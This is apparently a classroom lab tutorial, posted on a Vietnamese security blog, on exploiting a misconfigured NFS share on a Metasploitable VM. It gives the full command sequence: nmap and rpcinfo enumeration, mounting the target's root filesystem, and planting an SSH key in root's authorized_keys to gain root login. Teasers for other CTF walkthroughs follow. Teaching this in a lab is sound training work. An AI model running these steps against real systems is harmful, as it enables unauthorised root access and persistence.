Chuyển đến nội dung chính

Bài Thực Hành Metasploit Framework Lesson 4 : Exploiting a Mis-Configured NFS Share



Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab
    • Metasploitable  : Lesson 1: Downloading and Configuring
     
  3. What is nfs?
    • Network File System (NFS) is a distributed file system protocol originally developed by Sun Microsystems in 1984,allowing a user on a client computer to access files over a network in a manner similar to how local storage is accessed. NFS, like many other protocols, builds on the Open Network Computing Remote Procedure Call (ONC RPC) system. The Network File System is an open standard defined in RFCs, allowing anyone to implement the protocol.
  4. What is rpcbind?
    • The rpcbind utility maps RPC services to the ports on which they listen. RPC processes notify rpcbind when they start, registering the ports they are listening on and the RPC program numbers they expect to serve. The client system then contacts rpcbind on the server with a particular RPC program number. The rpcbind service redirects the client to the proper port number so it can communicate with the requested service. Because RPC-based services rely on rpcbind to make all connections with incoming client requests, rpcbind must be available before any of these services start
  5. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the nsf, rpcbind, and ssh daemons
      3. Use showmount to identified all shared file systems
      4. Expose the metasploitable shared file system
      5. Obtain root access on the metasploitable VM
  6. Legal Disclaimer - Bài hướng dẫn chỉ dùng trong lớp học

Section 1. Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button
  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings
  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

Section 2. Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.
  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.112.
      • Record your IP Address.

Section 4. Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button
  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button
  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  8. Bring up the GNOME
    • Instructions:
      1. Type startx
  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.108.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

Section 5. Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • This intense NMAP scan could take 3 to 5 minutes to run.
    • Instructions:
      1. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt
  2. Looking for rpcinfo, nfs and ssh
    • Instructions:
      1. cd /var/tmp
      2. egrep -i '(nfs|rpcbind|ssh)' scan.txt
    • Note(FYI):
      • nfs runs on port 2049 for both TCP and UDP.
      • ssh runs on port 22.
      • rpcbind runs on port 111 for both TCP and UDP.

Section 6. Conduct a NFS Assessment
  1. Using rpcinfo
    • Instructions:
      1. rpcinfo -p 192.168.1.112
      2. rpcinfo -p 192.168.1.112 | grep nfs
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • The rpcinfo command makes an RPC call to an RPC server and reports the status of the server.  In this case, we are asking metasploitable's RPC server show us all of its RPC problems that are running. (e.g., nfs, mountd, status, portmapper, nlockmgr).
  2. Using showmount
    • Instructions:
      1. showmount -e 192.168.1.112
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • showmount queries the mount daemon on a remote host for information about the state of the NFS server on that machine.
      • The "/" filesystem is owned by root for most flavors of Unix and Linux.  Allowing the world to mount to the "/" file system opens up Paradora's box to an unlimited amount of exploits.

Section 7. Exploiting the Mis-Configured NFS Mount
  1. Create SSH Key Pair
    • Instructions:
      1. mkdir -p /root/.ssh
      2. cd /root/.ssh/
      3. cat /dev/null > known_hosts
        • This is not necessary.  I do this to prevent a potential man-in-the middle known_host message.
      4. ssh-keygen -t rsa -b 4096
      5. Enter file in which to save the key (/root/.ssh/id_rsa): hacker_rsa
      6. Enter passphrase (empty for no passphrase): Just Press Enter
      7. Enter same passphrase again: Just Press Enter
      8. ls -l
  2. Mount Metasploitable's "/" File System
    • Instructions:
      1. cd /
      2. mount -t nfs 192.168.1.112:/ /mnt -o nolock
        • nolock � Disables file locking.
      3. df -k
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • Notice we have successfully mounted up metasploitable's "/" filesystem to BackTrack's /mnt directory.
  3. Modify metasploitable's authorized_keys file
    • Instructions:
      1. cd /mnt/root/.ssh
      2. cp /root/.ssh/hacker_rsa.pub /mnt/root/.ssh/
      3. ls -l
      4. cat authorized_keys
      5. cat hacker_rsa.pub >> authorized_keys
      6. cat authorized_keys
    • Note(FYI):
      • Since metasploitable's "/" file system is writable to the world, we are able to append BackTrack's ssh public key to metasploitable's authorized_keys file.
  4. Obtain Root Access
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. cd /root/.ssh/
      2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112
      3. yes
        • The "Are you sure ... (yes/no)?" message only occur during your very first connection.
      4. whomai
      5. exit
Section 8. Basic System Network Forensics
  1. Using showmount
    • Instructions:
      1. showmount -a 192.168.1.112
      2. umount /mnt
      3. df -k
      4. showmount -a 192.168.1.112
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • Notice after we un-mount from metasploitable's share that BackTrack's IP address is no longer present.
Section 9. Proof of Lab
  1. Proof of Lab
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Proof of Lab Instructions
      1. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "cat /etc/exports"
      2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "date"
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
      5. Press the <Ctrl> and <Alt> key at the same time.
      6. Press the <PrtScn> key.
      7. Paste into a word document
      8. Upload to website Www.AnToanThongTin.Edu.VN

Bài đăng phổ biến từ blog này

Hack the Gibson VM (CTF Challenge)

It’s a boot2root challenge and it does not get over with getting root access. You have to find flag also. So let’s start. First of all download lab from https://download.vulnhub.com/gibson/gibson.ova Now open kali terminal and like always start with first step i.e. netdiscover netdiscover it shows all the hosts those are up in our network and from here we get our target ip. Target IP: 192.168.1.6 As our target is all set we are going to scan it with nmap which will show all the open ports. In this case open ports are only two i.e. 22 and 80. nmap –p- -A 192.168.1.6 As from the above result we have got 80 port open so we will open target ip in browser. It shows an accessible directory. Let’s try opening it as we cannot see anything important here. Oh no such luck with this also. It’s written the result will be found by brute force but there is no place where we can apply brute force. As we do not have any other option so let’s just go to view page source to see if we could get a...

Penetration Testing in PwnLab (CTF Challenge)

In this article we will walkthrough a root2boot penetration testing challenge i.e PwnLab. PwbLab is a vulnerbale framework, based on the concept of CTF (capture the flag), with a bit of security which is a little complicated to bypass. But it’s not impossible. So, let us learn how we can get its access. Download From Here Now to start let us, firstly, consider that we do not know the IP of the PwnLab, therefore search for the IP address before hand and for that there is a command that shows us all the IP’s present in our network, so go to the terminal of you Kali and type : netdiscover Target IP = 192.168.0.105 And to know that we start our penetration testing. So, first, we will now scan with nmap , we will apply an aggressive scan as it gives detailed information and is fast. The command is : nmap -A 192.168.0.105 We have the result of scanning and as you can see there are only three ports open and they are: 80, 111, 3306. Our target IP is 192.168.0.105 as its MAC Vendor is...

Hack the Pentester Lab: from SQL injection to Shell II (Blind SQL Injection)

Today we are going to perform penetration testing with part II of previous lab, download it from  here . Now install the iso image in VM ware and start it. In this lab task level is intermediate and challenge is to gain access of administration console and then upload a PHP webshell. Start Kali Linux then open the terminal and  type netdiscover  command for scanning network. Here  192.168.1.102  is my target IP which is shown in the screenshot. Now explore this IP in browser. When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test; ruxcon; 2010; all pictures; admin. Now  Click  on  test . The given URL : http://192.168.1.102/cat.php?id=1  will run sql query for  ID 1  now let try to find out whether the above URL is vulnerable to sql injection or not by adding( ‘) apostrophe at last of URL: http://192.168.1.102/cat.p...